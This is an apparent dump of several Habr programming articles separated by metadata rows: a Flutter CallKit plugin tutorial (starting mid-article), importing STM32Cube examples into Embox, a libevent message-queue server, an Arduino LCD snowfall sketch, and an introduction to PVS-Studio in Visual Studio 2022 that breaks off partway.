void(^didRemoveBlockedPhoneNumbers)(NSArray \*numbers);
@property(strong, nonatomic, nullable)
void(^didRemoveAllBlockedPhoneNumbers)(void);
@property(strong, nonatomic, nullable)
NSArray \*(^getIdentifiablePhoneNumbers)(void);
@property(strong, nonatomic, nullable)
void(^didAddIdentifiablePhoneNumbers)(NSArray \*numbers);
@property(strong, nonatomic, nullable)
void(^didRemoveIdentifiablePhoneNumbers)(NSArray \*numbers);
@property(strong, nonatomic, nullable)
void(^didRemoveAllIdentifiablePhoneNumbers)(void);
@end
```
Для каждого типа взаимодействия с хранилищем предусмотрен свой обработчик, который будет вызываться нашим фреймворком каждый раз, когда с Flutter стороны был вызван соответствующий хелпер-метод.
> Обработчики опциональны, что позволяет использовать лишь необходимый минимум или вовсе не брать эту функциональность, а воспользоваться собственным решением для передачи номеров.
>
>
### Реализация
Теперь реализуем связь между объявленными методами-хелперами во Flutter и обработчиками в iOS.
> Методов много, а работают они +- одинаково, поэтому будем рассматривать два из них с противоположным направлением движения данных.
>
>
#### Get identifiable numbers
*On the Flutter side…*
```
Future> getIdentifiablePhoneNumbers() async {
try {
// Вызываем платформенный метод и сохраняем результат
List numbers = await \_methodChannel.invokeMethod(
'Plugin.getIdentifiablePhoneNumbers',
);
// Типизируем результат и возвращаем пользователю
return numbers
.map(
(f) => FCXIdentifiablePhoneNumber(f['number'], label: f['label']))
.toList();
} on PlatformException catch (e) {
throw FCXException(e.code, e.message);
}
}
```
*On the iOS side…*
```
if ([@"Plugin.getIdentifiablePhoneNumbers" isEqualToString:call.method]) {
if (!self.getIdentifiablePhoneNumbers) {
// Проверяем существует-ли обработчик,
// если нет – возвращаем ошибку
result([FlutterError errorHandlerIsNotRegistered:@"getIdentifiablePhoneNumbers"]);
return;
}
// Используя обработчик, запрашиваем номера у пользователя
NSArray \*identifiableNumbers
= self.getIdentifiablePhoneNumbers();
NSMutableArray \*phoneNumbers
= [NSMutableArray arrayWithCapacity:identifiableNumbers.count];
// Оборачиваем каждый номер в словарь,
// чтобы иметь возможность передать их через MethodChannel
for (FCXIdentifiablePhoneNumber \*identifiableNumber in identifiableNumbers) {
NSMutableDictionary \*dictionary
= [NSMutableDictionary dictionary];
dictionary[@"number"]
= [NSNumber numberWithLongLong:identifiableNumber.number];
dictionary[@"label"]
= identifiableNumber.label;
[phoneNumbers addObject:dictionary];
}
// Отправляем номера во Flutter
result(phoneNumbers);
}
```
#### Add identifiable numbers
*On the Flutter side…*
```
Future addIdentifiablePhoneNumbers(
List numbers,
) async {
try {
// Готовим номера для передачи через MethodChannel
List arguments = numbers.map((f) => f.\_toMap()).toList();
// Отправляем номера в нативный код
await \_methodChannel.invokeMethod(
'Plugin.addIdentifiablePhoneNumbers',
arguments
);
} on PlatformException catch (e) {
throw FCXException(e.code, e.message);
}
}
```
*On the iOS side…*
```
if ([@"Plugin.addIdentifiablePhoneNumbers" isEqualToString:call.method]) {
if (!self.didAddIdentifiablePhoneNumbers) {
// Проверяем существует-ли обработчик,
// если нет – возвращаем ошибку
result([FlutterError errorHandlerIsNotRegistered:@"didAddIdentifiablePhoneNumbers"]);
return;
}
// Достаем переданные в аргументах номера
NSArray \*numbers = call.arguments;
if (isNull(numbers)) {
// Проверяем их валидность
result([FlutterError errorInvalidArguments:@"numbers must not be null"]);
return;
}
NSMutableArray \*identifiableNumbers
= [NSMutableArray array];
// Типизируем номера
for (NSDictionary \*obj in numbers) {
NSNumber \*number = obj[@"number"];
\_\_auto\_type identifiableNumber
= [[FCXIdentifiablePhoneNumber alloc] initWithNumber:number.longLongValue
label:obj[@"label"]];
[identifiableNumbers addObject:identifiableNumber];
}
// Отдаём типизированные номера в обработчик пользователю
self.didAddIdentifiablePhoneNumbers(identifiableNumbers);
// Сообщаем во Flutter о завершении операции
result(nil);
}
```
Остальные методы реализуются по аналогии, полный код:
* [Flutter side](https://github.com/voximplant/flutter_callkit/blob/master/lib/src/call_directory/call_directory_extension.dart)
* [iOS side](https://github.com/voximplant/flutter_callkit/blob/master/ios/Classes/FlutterCallkitPlugin.m)
Примеры использования
---------------------
Теперь переместимся на сторону пользователя получившегося плагина и посмотрим, как он может воспользоваться нашими интерфейсами.
### Reload extension
Метод `reloadExtension(withIdentifier:completionHandler:)` используется для перезагрузки расширения Call Directory. Это может потребоваться, например, после добавления новых номеров в хранилище, чтобы они попали в CallKit.
Использование идентично нативному CallKit API: обращаемся к `FCXCallDirectoryManager` и запрашиваем перезагрузку по заданному `extensionIdentifier`:
```
final String _extensionID =
'com.voximplant.flutterCallkit.example.CallDirectoryExtension';
Future reloadExtension() async {
await FCXCallDirectoryManager.reloadExtension(\_extensionID);
}
```
### Get identified numbers
*On the Flutter side…*
Запрашиваем список идентифицируемых номеров через класс плагина из Flutter:
```
final FCXPlugin _plugin = FCXPlugin();
Future> getIdentifiedNumbers() async {
return await \_plugin.getIdentifiablePhoneNumbers();
}
```
*On the iOS side…*
Добавляем обработчик `getIdentifiablePhoneNumbers`, который плагин использует для передачи заданных номеров во Flutter. Будем передавать в него номера из нашего хранилища `identifiedNumbers`:
```
private let callKitPlugin = FlutterCallkitPlugin.sharedInstance
@UserDefault("identifiedNumbers", defaultValue: [])
private var identifiedNumbers: [IdentifiableNumber]
// Добавляем обработчик событий запроса номеров
callKitPlugin.getIdentifiablePhoneNumbers = { [weak self] in
guard let self = self else { return [] }
// Возвращаем номера из хранилища в обработчик
return self.identifiedNumbers.map {
FCXIdentifiablePhoneNumber(number: $0.number, label: $0.label)
}
}
```
Теперь номера из пользовательского хранилища будут попадать в обработчик, а из него через плагин во Flutter.
### Add identified numbers
*On the Flutter side…*
Передаем номера, которые хотим идентифицировать, в объект плагина:
```
final FCXPlugin _plugin = FCXPlugin();
Future addIdentifiedNumber(String number, String id) async {
int num = int.parse(number);
var phone = FCXIdentifiablePhoneNumber(num, label: id);
await \_plugin.addIdentifiablePhoneNumbers([phone]);
}
```
*On the iOS side…*
Добавляем обработчик `didAddIdentifiablePhoneNumbers`, который плагин использует для уведомления платформенного кода о получении новых номеров из Flutter. В обработчике сохраняем полученные номера в хранилище номеров:
```
private let callKitPlugin = FlutterCallkitPlugin.sharedInstance
@UserDefault("identifiedNumbers", defaultValue: [])
private var identifiedNumbers: [IdentifiableNumber]
// Добавляем обработчик событий добавления номеров
callKitPlugin.didAddIdentifiablePhoneNumbers = { [weak self] numbers in
guard let self = self else { return }
// Сохраняем в хранилище номера, переданные плагином в обработчик
self.identifiedNumbers.append(
contentsOf: numbers.map {
IdentifiableNumber(identifiableNumber: $0)
}
)
// Номера в Call Directory обязательно должны быть отсортированы
self.identifiedNumbers.sort()
}
```
Теперь номера из Flutter будут попадать в плагин, из него – в обработчик события, а оттуда – в пользовательское хранилище номеров. При следующей перезагрузке Call Directory расширения они станут доступны CallKit для идентификации звонков.
Полные примеры:
* [iOS Example App Delegate](https://github.com/voximplant/flutter_callkit/blob/master/example/ios/Runner/AppDelegate.swift)
* [iOS Example App Extension](https://github.com/voximplant/flutter_callkit/blob/master/example/ios/CallDirectoryExtensionExample/CallDirectoryHandler.swift)
* [Flutter Example Call Service](https://github.com/voximplant/flutter_callkit/blob/master/example/lib/call_service.dart)
Итог
====
У нас получилось дать возможность использовать CallKit Call Directory из Flutter!
Детали платформенных коммуникаций по прежнему скрыты в недрах плагина, нативное API сохранено, а необходимая к написанию пользовательская iOS реализация хорошо задокументирована.
Теперь во Flutter можно относительно просто блокировать и/или определять номера с помощью нативного Call Directory.
*Пример работы с Call Directory в Flutter приложении с использованием flutter\_callkit\_voximplant*
Результаты:
* Интерфейс CallDirectoryManager полностью перенесен
* Добавлен простой способ передачи номеров из Flutter кода в iOS, оставлена возможность использовать собственные решения передачи данных
* Архитектура решения описана в README с визуальными схемами для лучшего понимания
* Добавлен полноценный работоспособный example app, использующий всю функциональность Call Directory, реализующий пример платформенных модулей (таких как iOS расширение и хранилище данных)
Полезные ссылки
===============
[Source код flutter\_callkit на GitHub](https://github.com/voximplant/flutter_callkit)
[Example app код на GitHub](https://github.com/voximplant/flutter_callkit/tree/master/example)
[Полная документация по использованию Call Directory с flutter\_callkit](https://github.com/voximplant/flutter_callkit/blob/master/doc/call_directory/README.md)
[CallKit Framework Documentation by Apple](https://developer.apple.com/documentation/callkit?language=objc)
[App Extension Programming Guide by Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/index.html#//apple_ref/doc/uid/TP40014214)
[Writing custom platform-specific code by Flutter](https://flutter.dev/docs/development/platform-integration/platform-channels) | https://habr.com/ru/post/553422/ | null | ru | null |
# Как мы запускали стандартные примеры из библиотеки STM32Cube
 Добрый день! Не секрет, что стандартные примеры, работающие из коробки, — штука неплохая: загрузил на плату и наслаждайся. Это удобно для быстрого ознакомления. Но затем, если мы намерены сами что-то создать, нужно разбирать код примера, читать документацию, писать свой код, долго отлаживаться… Хочется этот этап как-то упростить. По этой причине, я хотел бы рассказать о том, как мы сделали интеграцию стандартных примеров из библиотеки [STM32Cube](http://www.st.com/en/embedded-software/stm32cube-mcu-packages.html?querycriteria=productId=LN1897) в [Embox](https://github.com/embox/embox).
Итак, Embox, как и любая ОС, предоставляет много приятных вещей, таких как потоки, управление памятью и т.д. STM32Cube, в свою очередь, обладает множеством примеров по использованию аппаратуры. Каждый пример представляет собой самодостаточный набор исходников с проектными файлами для MDK ARM, EWARM и SW4STM32 (что-то поверх Eclipse, вроде бы), т.е. нажал кнопку — все само собралось, на плату загрузилось и запустилось. Теперь вопрос: как же интегрировать такой пример в инфраструктуру операционной системы? Посмотрим более детально как устроены примеры.
Для желающих сразу посмотреть на то, что вышло, и пропустить технические подробности, прыгать [сюда](#STM) :)
Я буду опираться на пример для LCD-экрана и BSP для отладочной платы STM32F746G-Discovery. Рассмотрим пример для экрана. Помимо проектных файлов в дереве исходников находятся readme.txt, Inc/ и Src/. Они-то нам и нужны, переходим в папку с исходниками и смотрим, что там лежит:
```
# ls Projects/STM32746G-Discovery/Examples/LTDC/LTDC_Display_1Layer/Src/
main.c stm32f7xx_hal_msp.c stm32f7xx_it.c system_stm32f7xx.c
```
Файл system\_stm32f7xx.c имеется во всех примерах, в нем содержится инициализация встроенной флэш памяти, PLL, а также устанавливается SystemFrequency. Эти функции вызываются еще до main(). В Embox эти же настройки производятся при старте системы, поэтому этот файл мы просто не будем использовать. Идем далее, в файле stm32f7xx\_hal\_msp.c содержатся функции инициализации аппаратуры, специфичные для конкретной задачи. Это функции вида \*\_MspInit, которые определены изначально как WEAK, что позволяет их переопределить. Этот файл берем с собой в Embox. Далее, stm32f7xx\_it.c — тут переопределяются обработчики аппаратных прерываний и исключений. И наконец, main.c — здесь все понятно — основная логика + некая инициализация, которую мы потом выбросим.
Перенос примера в Embox происходит с помощью скрипта import\_stm32\_cube\_example.py.
После его запуска первым делом копируется в дерево исходников readme.txt, Inc/ и Src/. Теперь нужно сгенерить файл [системы сборки Embox](https://habrahabr.ru/company/embox/blog/144935/). Для этой цели используется шаблон, в который подставляется название примера, исходники, платформа (f7 или f4) и необходимые зависимости.
```
/* GENERATED FILE */
package stm32_PLATFORM_.cmd
@AutoCmd
@Cmd(name="_EXAMPLE_", help="")
@BuildDepends(third_party.bsp.stm_PLATFORM_cube.core)
module _EXAMPLE_ {
source "Src/embox_main.c"
depends _EXAMPLE__Lib
}
@BuildDepends(third_party.bsp.stm_PLATFORM_cube.core)
module _EXAMPLE__Lib {
@Cflags("-Wno-unused")
@IncludePath("$(ROOT_DIR)/platform/stm32_PLATFORM_/cmds/_EXAMPLE_/Inc")
_SOURCES_
depends third_party.bsp.stm_PLATFORM_cube.stm32_PLATFORM__discovery_bsp
depends third_party.bsp.stm_PLATFORM_cube.stm32_PLATFORM__discovery_components
depends third_party.bsp.stm_PLATFORM_cube.stm32_PLATFORM__discovery_utilities
}
```
Модули third\_party.bsp.stmf7cube.stm32f7\_discovery\_bsp и third\_party.bsp.stmf7cube.stm32f7\_discovery\_components содержат библиотеку BSP из Cube и разные вспомогательные библиотеки. Обычно в проектных файлах Cube эти исходники явно перечисляются, но у нас в системе они общие и подключаются одинаковым образом для любого примера все сразу. Эти библиотеки и все исходники примера будут скомпилированы в некоторую статическую библиотеку внутри Embox (в противном случае, нарушится линковка команд Embox с weak функциями Cube), поэтому для запуска примера будет сгенерирован файлик с одной лишь функцией main().
С системой сборки разобрались, теперь нужно как-то переделать обработчики прерываний из Cube, чтобы ОС их приняла. Формат обработчика прерываний в Cube *void (\*handler)(void)*, в то время как в Embox сигнатура другая. На примере обработчика *DMA2\_Stream7\_IRQHandler* в Embox это можно реализовать так:
```
static
irq_return_t embox_DMA2_Stream7_IRQHandler(unsigned int irq_nr, void *data) {
DMA2_Stream7_IRQHandler();
return IRQ_HANDLED;
}
```
А затем зарегистрируем эту обертку:
```
irq_attach(DMA2_Stream7_IRQn + 16, embox_DMA2_Stream7_IRQHandler, 0, NULL,
"DMA2_Stream7_IRQHandler");
```
Можно видеть, что названия обработчиков прерываний в Cube имеют вполне определенную структуру — \**\_IRQHandler* (как и названия номеров прерываний — \**\_IRQn*). Поэтому чтобы автоматически найти все обработчики прерываний для данного примера, мы сначала проходимся по файлу препроцессором cpp, и в полученном файле находим все \*\_IRQHandler. А далее, import\_stm32\_cube\_example.py сгенерирует файл Src/embox\_stm32f7xx\_it\_lib.c, в котором будут все необходимые обработчики прерываний и глобальная функция *embox\_stm32\_setup\_irq\_handlers*, вызов которой регистрирует обработчики прерываний.
Помимо прерываний от периферии нужно еще не забыть про аппаратный таймер, так как в обработчике таймера Cube (называется он *SysTick\_Handler*) могут происходить действия типа заполнения аудио буферов. Поэтому обработчик первого уровня — это обработчик в Embox, который в конце уже вызовет SysTick\_Handler.
Наконец, нужно исправить Src/main.c. Во-первых, функция main в примерах Cube всегда содержит 3 стандартных вызова — *CPU\_CACHE\_Enable*(), *HAL\_Init*(), *SystemClock\_Config*(). Эти функции и так вызываются при старте Embox, поэтому в примере они крайне вредны, поэтому автоматически оказываются закомментированы. И последнее, добавляется регистрация обработчиков прерываний, т.е. вызов вида
```
if (0 != embox_stm32_setup_irq_handlers()) {
printf("embox_stm32_setup_irq_handlers error!\n");
}
```
В итоге получается полноценный модуль ОС, который можно сразу же включить в конфиг, залить Embox на плату, и запускать как обычную команду из командной строки.
Для демонстрации всего вышеперечисленного я выбрал, как уже говорил, два примера — 1) Экран LCD 2) Пример с записью звука из BSP.
Для желающих поиграться с STMкой ниже даю ссылки и рецепты. Вероятно, тут пригодится [статья](https://habrahabr.ru/company/embox/blog/349034/) о том, как собрать и запустить Embox.
###### Пример LCD на STM32F746G-Discovery
Переходим в папку с Embox, и добавляем пример:
`# ./scripts/stm32/import_stm32_cube_example.py f7 ./build/extbld/third_party/bsp/stmf7cube/core/STM32Cube_FW_F7_V1.5.0/Projects/STM32746G-Discovery/Examples/LTDC/LTDC_Display_1Layer`
Эта директория с длинным названием появится после того как вы первый раз соберете Embox, при сборке скачается архив с STM32Cube под F7 и cкопируется куда нужно.
Теперь в папке platform/stm32f7/cmds/ появится пример LTDC\_Display\_1Layer. Можете сами зайти в папку и убедиться если не верите :)
Добавляем его в конфиг conf/mods.config как stm32f7.cmd.LTDC\_Display\_1Layer. Пересобираем Embox и загружаем на стмку. В консоли minicom после загрузки Еmbox запускаем пример командой LTDC\_Display\_1Layer. На экране нарисуется картинка с девушками.
###### Пример со звуком на STM32F746G-Discovery (+ Touchscreen)
Переходим в папку с Embox, и добавляем пример:
`# ./scripts/stm32/import_stm32_cube_example.py f7 ./build/extbld/third_party/bsp/stmf7cube/core/STM32Cube_FW_F7_V1.5.0/Projects/STM32746G-Discovery/Examples/BSP`
Теперь в папке platform/stm32f7/cmds/ появится пример BSP. В этом примере продемонстрированы многие возможности STM32F7-Discovery.
Добавляем его в конфиг как stm32f7.cmd.BSP. Пересобираем Embox и загружаем на стмку. В консоли minicom после загрузки Еmbox запускаем пример командой BSP. После запуска вы можете выбрать нужный пример нажатиями на User Button (синий джойстик) и начать запись звука с микрофонов (MEMS-микрофоны, миниатюрные микрофоны встроенные в плату), после чего через несколько секунд запись воспроизведется.
**Видео с некоторыми примерами из BSP.**
Pеализацию можно посмотреть [здесь](https://github.com/embox/embox/tree/master/scripts/stm32).
На этом все. Будем рады вопросам. | https://habr.com/ru/post/348930/ | null | ru | null |
# Служба мгновенных собщений своими руками
Все мы привыкли пользоваться аськой, многие этот функционал реализуют в своих проектах, кто-то использует БД, или сервер очередей, например memcacheq. Есть готовые решения, типа eJabber.
Если интересно, как можно сделать это самому, то wellcom под каст, где будет рассмотрена серверная часть «Службы мгновенных сообщений». С клиентской, я надеюсь, разберетесь сами...
Суть «Службы коротких сообщений — это в принципе и есть сервер очередей, работающий по протоколу HTTP, который легко должен интегрироваться с любым JS фреймворком. Вса результаты выдаются в JSON. Обмен с сервером осуществляется из браузера посредством AJAX.
по методу POST записываем данные по ключу, которым является url (или его часть). По методу GET извлекаем из очереди (по ключу, которым является url) то, что было записано. Итак имеем: одну Хештаблицу, ключом в которой являются uri, а данными — очереди. Очередь представляет строку собщения. При желании можно добавить и время. Хотя есть много идей по развитию.
итак ближе к теме:
> 1. #include
> 2. #include
> 3. #include
> 4. #include
> 5. #include
> 6. #include
> 7. #include
> 8.
> 9. #include
> 10. #include
> 11. #include
> 12.
> 13. using namespace std;
> 14.
> 15. std::map<string,queue<string> > ht;
> 16.
> 17. void generic\_handler(struct evhttp\_request \*req, void \*arg)
> 18. {
> 19. struct evbuffer \*buf;
> 20. buf = evbuffer\_new();
> 21. if (buf == NULL)
> 22. err(1, "failed to create response buffer");
> 23. string key = evhttp\_request\_uri(req);
> 24. string out;
> 25.
> 26. if (req->type == EVHTTP\_REQ\_POST) {
> 27.
> 28. const char \* str\_len = evhttp\_find\_header(req->input\_headers, "Content-Length");
> 29. int len = atoi(str\_len);
> 30. out.assign((const char \*)EVBUFFER\_DATA(req->input\_buffer),len);
> 31. if ( ht.find(key) == ht.end() ) {
> 32. queue<string> q;
> 33. q.push(out);
> 34. ht.insert( pair<string,queue<string> >(key,q));
> 35. } else
> 36. ht[key].push(out);
> 37. evbuffer\_add\_printf(buf, "{\"result\": \"Ok\"}\r\n");
> 38. } else {
> 39. if ( ht.find(key) == ht.end() ) {
> 40. evbuffer\_add\_printf(buf, "{\"result\": null}\r\n" );
> 41. } else {
> 42. queue<string> q = ht[key];
> 43. if ( q.size() ) {
> 44. out = q.front();
> 45. q.pop();
> 46. ht[key]=q;
> 47. evbuffer\_add\_printf(buf, "{\"result\": \"%s\"}" , out.c\_str() );
> 48. } else {
> 49. evbuffer\_add\_printf(buf, "{\"result\": null }" )
> 50. }
> 51. }
> 52. }
> 53. evhttp\_send\_reply(req, HTTP\_OK, "OK", buf);
> 54. }
> 55.
> 56. int main(int argc, char \*\*argv)
> 57. {
> 58. struct evhttp \*httpd;
> 59. event\_init();
> 60. httpd = evhttp\_start("0.0.0.0", 8080);
> 61. evhttp\_set\_gencb(httpd, generic\_handler, NULL);
> 62. event\_dispatch();
> 63. evhttp\_free(httpd);
> 64. return 0;
> 65. }
>
немного пояснений по коду:
строки 58-63 инициализация WEB сервера. За основу взять WEB сервер основанный на libevent. У него отличная производительность. На моем ноуте 2.3ГГц он дает производительность 2к qps. Осуществляется обработка любого урла.
стр 20-22 — инициализирем буфер
стр 23 получаем REQUEST\_IRI и используем для ключа. Есть много предложений по оптимизации.
стр 26 проверяем на POST. Несомненно можно еще проверить на HEAD (другие методы evhttp не поддерживает). Пока не будем усложнять жизнь.
стр 28-30 формируем переменную, в которой хранятся данные. Так как в буфере накапливается мусор, то мы записывает столько байт, сколько указано в заголовке Content-Length
стр 30-35 Если ключ такой не существует, то заводим новую очередь и вставляем в очередь элемент данных
стр 36 иначе просто вставляем в очередь элемент данных
стр 38 — отрабатывает метод GET
стр 39 проверяет существует ли ключ
стр 40 — нет — выводим сообщение о пустом результате
стр 42- получаем данные по ключу
стр 43 — проверяем пустая ли очередь,
стр 44-47 — нет, выбираем сообщение из очереди и выводим его, очередь уменьшается на одно сообщение
Можно немного пофлеймить, что надо сделать эскейпинг. Да, обязательно это добавлю.
стр 49 да, очередь пуста, сообщаем об этом.
стр 53 финализируем запрос, отправляем код ответа 200 OK
Необходимо отметить, что модель однопоточная, по этому ни каких блокировок на запись делать не надо. Хотя этот вопрос еще мной будет прорабатываться.
Результаты ab
`Concurrency Level: 3
Time taken for tests: 0.415 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 83000 bytes
HTML transferred: 19000 bytes
Requests per second: 2409.31 [#/sec] (mean)
Time per request: 1.245 [ms] (mean)
Time per request: 0.415 [ms] (mean, across all concurrent requests)
Transfer rate: 195.29 [Kbytes/sec] received`
объем потребляемой память на 10 000 сообщений — чуть более 600К
Вообще-то планируется поставить за nginx, пусть он отвечает за безопасность (ngx\_http\_accesskey\_module)
кусок конфига:
`location /test {
proxy_pass 127.0.0.1:8080;
## и еще директивы ngx_http_accesskey_module
}`
но через nginx производительность доходит до 800 rps
Есть много идей — как и куда двигаться дальше. Например, отображение статусов активности, антиспам.
Любые иные идеи приветствуются. Пока сижу без работы, по этому нет проекта, на котором могу это опробовать. По моим расчетам одновременно около 10 тыс клиентов спокойно потянет, если делать запросы с частотой 1 -1.5 мин ( 130-200 rps). | https://habr.com/ru/post/91927/ | null | ru | null |
# Когда хочется снега…
Всем привет!
Не смотря на все мои 34 года во мне живёт большой ребёнок иногда немножко сентиментальный и весь такой романтический. Ну и как любой ребёнок ещё люблю чего-нибудь творить, главное чтобы это чего-нибудь было не сложным, быстро воспроизводимым и дающим видимый глазу результат.
(КДПВ)
Ребёнок этот живёт в Питере, городе в котором погоды обычно стоят европейские. Т.е. в середине декабря за окном видишь такую картину:
Правда пока я собирался с мыслями в предновогодней суете — всё немножко изменилось…
Но, не смотря на это, не могу не поделиться мыслью куда ещё можно засунуть закупленные на ebay и бесцельно валяющиеся ардуины. Тем более страна у нас большая и снега на всю не хватает :)
В общем сидел я, скучал по отсутствию снега за окном, а руки чесались чего-нибудь состряпать. Отсюда и родилась мысль собрать из ~~говна и палок~~ Arduino Nano, LCD экрана 16x2 и I2C-адаптера к нему вот такую развлекушку:
Приводить схемы подключения нарисованные во Fritzing не буду — кто с ардуиной знаком и так всё поймёт, а кто нет — дак тому полезно по-гуглить да по-яндексить. Но скетчем естественно поделюсь. За него прошу не пинать, ибо образования у меня сплошь гуманитарные.
**Скетч**
```
#include
#include // внешняя библиотека LCD по I2C
LiquidCrystal\_I2C lcd(0x27,16,2); // адрес экрана 0x27, символов 16, строк 2
int s1; // позиция снежинки №1
int s2;
int s3;
int s4;
int s5;
int s6;
int s7;
int t; // время задержки
void setup()
{
lcd.init(); // инициализируем экран
lcd.backlight(); // программно включаем фоновую подсветку
lcd.clear(); // чистим экран
Serial.begin(9600);
t = 600; // устанавливаем время задержки
}
void loop()
{
//----------Работаем с первой строкой LCD----------
s1 = random(3);
s2 = s1 + random(2,5);
s3 = s2 + random(2,5);
s4 = s3 + random(2,5);
s5 = s4 + random(2,5);
s6 = s5 + random(2,5);
s7 = s6 + random(2,5);
lcd.setCursor(0, 0);
lcd.print(" "); //затираем строку пробелами
lcd.setCursor(s1, 0);
lcd.write('\*');
lcd.setCursor(s2, 0);
lcd.write('\*');
lcd.setCursor(s3, 0);
lcd.write('\*');
lcd.setCursor(s4, 0);
lcd.write('\*');
lcd.setCursor(s5, 0);
lcd.write('\*');
lcd.setCursor(s6, 0);
lcd.write('\*');
lcd.setCursor(s7, 0);
lcd.write('\*');
Serial.print (s1);
Serial.print (" ");
Serial.print (s2);
Serial.print (" ");
Serial.print (s3);
Serial.print (" ");
Serial.print (s4);
Serial.print (" ");
Serial.print (s5);
Serial.print (" ");
Serial.print (s6);
Serial.print (" ");
Serial.print (s7);
Serial.println ();
delay (t);
//----------Работаем со второй строкой LCD----------
lcd.setCursor(0, 1);
lcd.print(" "); //затираем строку пробелами
lcd.setCursor(s1 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s2 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s3 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s4 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s5 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s6 + random (-1, 2), 1);
lcd.write('\*');
lcd.setCursor(s7 + random (-1, 2), 1);
lcd.write('\*');
delay (t);
}
```
К сожалению экранчики у меня в наличии только двухстрочные. :( На четырёхстрочном, я думаю, выглядеть будет гораздо интересней (код нужно будет немножко дописать). Кстати, если у вас такие есть — выкладывайте видео в комментариях. Ну и если кто код может сделать более красивым, тоже буду рад видеть в комментариях ;).
Библиотеку для экрана берём [отсюда](http://www.dfrobot.com/wiki/index.php?title=I2C/TWI_LCD1602_Module_(SKU:_DFR0063)#Library_Support_Functions), тк с вашей может и не заработать (испробовано на кошках).
И напоследок видео:
Всем спасибо за внимание и С Новым Годом!
 | https://habr.com/ru/post/364905/ | null | ru | null |
# PVS-Studio for Visual Studio 2022
The PVS-Studio team writes articles on various topics. But we rarely make articles on how to interact with the analyzer. Let's fix it with an article about the PVS-Studio plugin for the Visual Studio 2022 environment.
### What is static code analysis and why do we need it?
Static code analysis is a process of detecting errors and flaws in the program's source code. In general, static analysis is an automated code review process. A joint [code review](https://pvs-studio.com/en/blog/terms/0073/) is a wonderful methodology. But it also has a drawback — it costs too much. Developers have to regularly gather to inspect new code or re-inspect the changed one.
On the one hand, regular code reviews are necessary. On the other hand, they're too expensive. A compromise solution is static code analysis tools. They process the program's source code non-stop and recommend the developer to pay special attention to certain code fragments. Of course, the tool won't replace a real code review with a team of developers. However, the price/benefit ratio makes static analyzers a very effective practice used by many companies. If you are interested in numbers, you can read the "[PVS-Studio ROI](https://pvs-studio.com/en/blog/posts/0606/)" article.
There are lots of paid and free static code analyzers. Their list is available on Wikipedia: [List of tools for static code analysis](https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis). The list of languages available for static code analysis is also long — C, C++, C#, Java, Ada, Fortran, Perl, Ruby, etc. Of course, this article is only about the [PVS-Studio](https://pvs-studio.com/en/pvs-studio/) analyzer.
The main advantage of static analysis — it reduces the cost of fixing program defects. The earlier the error is detected, the lower the cost of fixing it. Steve McConnell in "Code Complete" introduces the following data: correcting an error at the system test stage will cost ten times more than at the construction stage:
Static analysis tools identify a large number of errors at the construction stage. This significantly reduces the cost of the development process. For example, the PVS-Studio static code analyzer runs in the background right after compilation. If the analyzer finds an error, it notifies the developer. Below, this mode is described in detail.
### The PVS-Studio static code analyzer
PVS-Studio is a static analyzer that detects code errors and potential vulnerabilities. It works with C, C++ (including [C++/CLI](https://en.wikipedia.org/wiki/C%2B%2B/CLI) and [C++/CX](https://en.wikipedia.org/wiki/C%2B%2B/CX) extensions), C#, and Java languages. The analyzer is available for Windows, Linux, and macOS. The analyzer can be integrated into [Visual Studio 2010 – 2022](https://marketplace.visualstudio.com/items?itemName=EvgeniyRyzhkov.PVS-Studio) , [IntelliJ IDEA and Android Studio](https://plugins.jetbrains.com/plugin/12263-pvs-studio-for-idea-and-android-studio), [JetBrains Rider](https://plugins.jetbrains.com/plugin/14480-pvs-studio-for-rider), and [CLion](https://plugins.jetbrains.com/plugin/16924-pvs-studio-for-clion) environments. In this article we take a look at the PVS-Studio analyzer for Visual Studio 2022. You can also read about using PVS-Studio in other IDEs:
* [JetBrains Rider and CLion](https://pvs-studio.com/en/docs/manual/0052/);
* [IntelliJ IDEA and Android Studio](https://pvs-studio.com/en/docs/manual/0044/) (using PVS-Studio in Android Studio is similar to IntelliJ IDEA).
After installing PVS-Studio and integrating into Visual Studio, users get the additional "PVS-Studio" item in the Extensions menu and a window to work with analyzer warnings.
#### Initial settings
The analyzer is ready to work right after the installation. In most cases, you don't need to configure anything to make the first launch. The only thing you may need to setup is to exclude third-party libraries. You are not going to fix the source files (for example, jpeg libraries) anyway, so there's no need to analyze it. Besides, if you exclude unnecessary folders, the analysis time will be reduced. You can exclude the directories here: Extensions > PVS-Studio > Options... > Don't Check Files > PathMasks.
If the full path to the file has one of the specified names, the file won't be analyzed. By default, the list already has names of some directories. However, your project may have the "zlib" library named as "zip\_lib". That's why you need to edit the list. To start editing, click the button with three dots.
Examples of valid masks for the PathMasks list:
* c:\Libs\ — excludes all the project files located in this folder and its subfolders.
* \Libs\ or \*\Libs\\*— excludes all files located in those directories whose path contains the "Libs" subfolder. If the "\*" characters are not specified, they will still be automatically added, so both options are valid.
* Libs or \*Libs\* — excludes all files whose path contains 'Libs' as a name or name fragment, for example, c:\project\mylibs.cpp. To avoid confusion, always use backslashes.
Besides excluding entire folders, you can exclude individual files. The FileNameMasks setting can help with this. To find more information on how to work with exception lists, read the "[Settings: Don't Check Files](https://pvs-studio.com/en/docs/manual/0014/)" documentation.
#### Project check
After configuring the analyzer, you can start checking the project. PVS-Studio for Visual Studio can check C++ (.vcxproj) and C# (.csproj) projects. You can also check the whole solution that contains projects of these types. To do this, go Extensions > PVS-Studio > Check > Solution.
It's also possible to run analysis only on certain projects and/or files selected in Solution Explorer. To do so, after choosing elements in Solution Explorer, right-click and select Analyze with PVS-Studio:
If you have difficulties with the check, you can read the "[Can't check?](https://pvs-studio.com/en/docs/manual/0029/)" section on our website. These are not useless recommendations like "check that the plug is in the outlet". This section describes typical situations that our clients have contacted us with, and ways to fix it. If you haven't found a solution to your problem, contact our [support](https://pvs-studio.com/en/about-feedback/).
#### Working with the analyzer's warnings list
After the check all the analyzer warnings will be displayed in a special window. This window has many control elements. All of them serve to display only those analyzer warnings interesting to the user. At first, the window may seem complicated. So, let's look at the control elements.
1. The PVS-Studio window.
